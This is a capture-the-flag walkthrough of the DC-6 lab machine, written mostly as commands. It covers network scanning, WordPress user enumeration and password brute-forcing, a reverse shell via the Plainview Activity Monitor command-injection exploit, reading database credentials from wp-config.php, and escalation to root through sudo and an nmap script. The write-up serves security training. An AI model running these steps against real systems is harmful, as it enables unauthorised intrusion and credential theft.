

DC-6

1. Scan the network

```
sudo arp-scan --localnet
```

Target: 192.168.56.113

Only 2 ports are open: 80 http and 22 SSH

2. Try http://192.168.56.113

Goes to http://wordy (we dont have access to it)

3. Fix the domain redirect(your net is not the isssue)

```
sudo vim /etc/hosts
```

i: to insert

esc: to go back to normal

:wq : to save

,vp

4. Now try the website again

It works, review and fuzz - nothing on site or source code

5. Other ways:

```
nikto -h http://wordy
```

```
gobuster dir -u http://wordy -w /usr/share/wordlists/dirb/common.txt
```

```
dirb http://wordy
```

Found few directory but nothing much.

But we know now that it is an wordpress site, potential.

6. WPScan

```
wpscan --update (net required)
```

```
wpscan --url http://wordy --enumerate u,vp,ap,cb,dbe --plugins-detection aggressive
```

7. Multiple users and plugins found

Plugins: Plainview Activity Monitor

Users: admin, sarah, graham, mark, jens

```
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
```

```
wpscan --url http://wordy -U mark -P passwords.txt
```

We found a Username and password:

mark | helpdesk01

(We can use hydra as well)

Login to: http://wordy/wp-login

The plugin we saw before: Plainview Activity Monitor

searchsploit Plainview Activity Monitor

(we can see that it is vuln to RCE and Command Inj)

(read CVE-2018-15877)

8. Setup payload

Download relevant payload 45274.html
Make changes in action line from localhost to wordy
Make changes in input, add your listener

9. Start your listener
nc -nvlp 4444

10. Open the html file, double click

Now we have a reverse shell, stabilize it
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

11. Post exploitation
id
uname -a
ls /home
cat /var/www/html/wp-config.php # DB creds: wpdbuser / meErKatZ (optional)

12. Privelege escalation
We see a file in jens which give us graham | GSo7isUM1D4
su graham
sudo -l
echo "/bin/bash" > /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh (now we are jen)

sudo -l
TF=\$(mktemp)
echo 'os.execute("/bin/sh")' > \$TF
sudo nmap --script=\$TF

We have Root shell now.
whoami
cat /root/theflag.txt

Solved

